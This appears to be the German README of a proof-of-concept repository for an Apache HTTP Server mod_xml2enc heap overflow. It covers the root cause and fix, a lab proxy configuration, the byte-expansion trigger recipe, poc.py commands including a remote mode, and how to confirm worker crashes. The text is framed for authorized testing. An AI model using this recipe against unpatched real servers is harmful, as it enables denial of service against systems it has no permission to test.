erberkan/cve-2026-42536-pocHeap-basierte Pufferüberlauf-Schwachstelle in Apache HTTP Server mit mod_xml2enc, xml2StartParse und nicht vertrauenswürdigem Inhalt
mod_xml2enc Heap Overflow PoCDieses Repository enthält einen kontrollierten Proof of Concept für CVE-2026-42536, einen heap-basierten Out-of-Bounds-Write im Modul mod_xml2enc des Apache HTTP Server. Betroffen sind die Apache HTTP Server Versionen 2.4.0 bis 2.4.67; Version 2.4.68 enthält den Upstream-Fix.
Das demonstrierte Ergebnis ist eine Speicherbeschädigung, gefolgt von einem Absturz eines Apache-Workers. Wiederholte Auslösungen können zu einem Denial of Service führen. Dieser PoC demonstriert nicht Remote Code Execution, Privilegieneskalation oder eine Reverse Shell.
Dieser PoC sendet absichtlich Inhalte, die einen Apache-Worker zum Absturz bringen können. Führen Sie ihn nur in einer wegwerfbaren, isolierten Umgebung aus, die Ihnen gehört oder die Sie ausdrücklich testen dürfen. Richten Sie ihn nicht auf Produktions- oder Drittsysteme.
Das Skript erlaubt standardmäßig nur den Loopback-Betrieb. Der Remote-Betrieb erfordert das explizite Flag --allow-remote, aber dieses Flag ist kein Ersatz für eine Autorisierung.
xml2StartParse kann mod_xml2enc anweisen, Bytes vor dem konfigurierten Startelement zu überspringen. In Apache HTTP Server 2.4.67 verschiebt fix_skipto() den Zeiger des Ausgabepuffers und reduziert die Menge gültiger Daten, reduziert jedoch nicht die Ausgabekapazität um denselben Offset:
ctx->bytes -= (p - ctx->buf);
ctx->buf = p;
Die spätere Zeichensatz-Konvertierung erhält daher eine Kapazität, die von der ursprünglichen Allokation aus gemessen wird, obwohl ctx->buf nun innerhalb dieser Allokation zeigt. Der PoC macht diese Diskrepanz beobachtbar, indem er Folgendes kombiniert:
xml2StartParse html übersprungen wird.Content-Type, der charset=windows-1252 deklariert.0x80, das von einem CP1252-Byte auf die dreistufige UTF-8-Kodierung des Euro-Zeichens expandiert.Die expandierende Konvertierung verbraucht die veraltete Kapazität und kann über den tatsächlich verbleibenden Speicherplatz nach dem vorgerückten Zeiger hinaus schreiben.
Apache 2.4.68 behebt den Abrechnungsfehler, indem der übersprungene Offset von ctx->bblen subtrahiert wird:
ctx->bytes -= (p - ctx->buf);
+ctx->bblen -= (p - ctx->buf);
ctx->buf = p;
Der PoC verwendet zwei HTTP-Komponenten:
poc.py client -> vulnerable Apache front end -> payload backend in poc.py
Apache muss die folgenden Module laden:
filter
proxy
proxy_http
xml2enc
Verwenden Sie die folgende Konfiguration nur in einem isolierten Apache-2.4.67-oder-älter-Lab:
Listen 127.0.0.1:18080
<VirtualHost 127.0.0.1:18080>
ProxyRequests Off
ProxyPass /cve-2026-42536/ http://127.0.0.1:18081/
ProxyPassReverse /cve-2026-42536/ http://127.0.0.1:18081/
<Location /cve-2026-42536/>
SetOutputFilter xml2enc
xml2StartParse html
</Location>
</VirtualHost>
Die Standardkonfiguration erwartet, dass poc.py im selben Host oder Container-Netzwerk-Namespace wie Apache läuft. Port 18081 ist das Payload-Backend; Anfragen müssen an die gefilterte Apache-Route auf Port 18080 gesendet werden.
Starten Sie die verwundbare Apache-Instanz und führen Sie dann den PoC vom selben wegwerfbaren Host oder Container aus:
python3 poc.py
Die Standardwerte entsprechen:
python3 poc.py \
--host 127.0.0.1 \
--port 18080 \
--path /cve-2026-42536/ \
--backend-bind 127.0.0.1 \
--backend-port 18081 \
--skip 2048 \
--expand 12288 \
--attempts 3
Für ein autorisiertes Zwei-Maschinen-Lab machen Sie das Payload-Backend von Apache aus erreichbar und aktualisieren Sie ProxyPass/ProxyPassReverse, um die Lab-IP des Angreifers zu verwenden. Binden Sie dann das Backend und richten Sie es explizit auf die Lab-Apache-Adresse:
python3 poc.py \
--host VICTIM_LAB_IP \
--port 18080 \
--backend-bind 0.0.0.0 \
--backend-port 18081 \
--allow-remote
Legen Sie den Backend-Port nicht über das isolierte Testnetz hinaus offen.
Überwachen Sie Apache während der Ausführung des PoC. Je nach Build und Prozessmanager kann eine Client-Anfrage fehlschlagen, zurückgesetzt werden oder Teildaten zurückgeben, während der übergeordnete Prozess den abgestürzten Worker ersetzt.
Typische Belege aus dem getesteten verwundbaren Build umfassten:
AH01434 character-set conversion selected
AH01428 skipped to the first configured element
AH01441 conversion performed
AH00052 child process exited on signal 11 (SIGSEGV)
Bei einer systemd-verwalteten Installation:
sudo journalctl -u apache2 -f
Für einen Docker-Container im Vordergrund:
docker logs -f CONTAINER_NAME
Ein Wechsel der Worker-PID kann ein zusätzliches Signal liefern:
watch -n 0.5 'pgrep -a httpd || pgrep -a apache2'
Ein Transportfehler allein ist kein Beweis für die Schwachstelle. Bestätigen Sie den Absturz im Apache-Fehlerprotokoll, im System-Journal, in der Sanitizer-Ausgabe oder in einem Core-Dump.
Wiederholen Sie dieselbe Anfrage gegen Apache HTTP Server 2.4.68 mit denselben Modulen und derselben Virtual-Host-Konfiguration. Das Payload-Backend sollte die Anfrage weiterhin erhalten, aber der Apache-Worker sollte am Leben bleiben, weil die Ausgabekapazität zusammen mit dem vorgerückten Zeiger reduziert wird.
Wenn der übergeordnete Prozess den Worker nicht automatisch ersetzt, starten Sie nur den wegwerfbaren Lab-Dienst neu:
sudo systemctl restart apache2
oder starten Sie den wegwerfbaren Container neu:
docker restart CONTAINER_NAME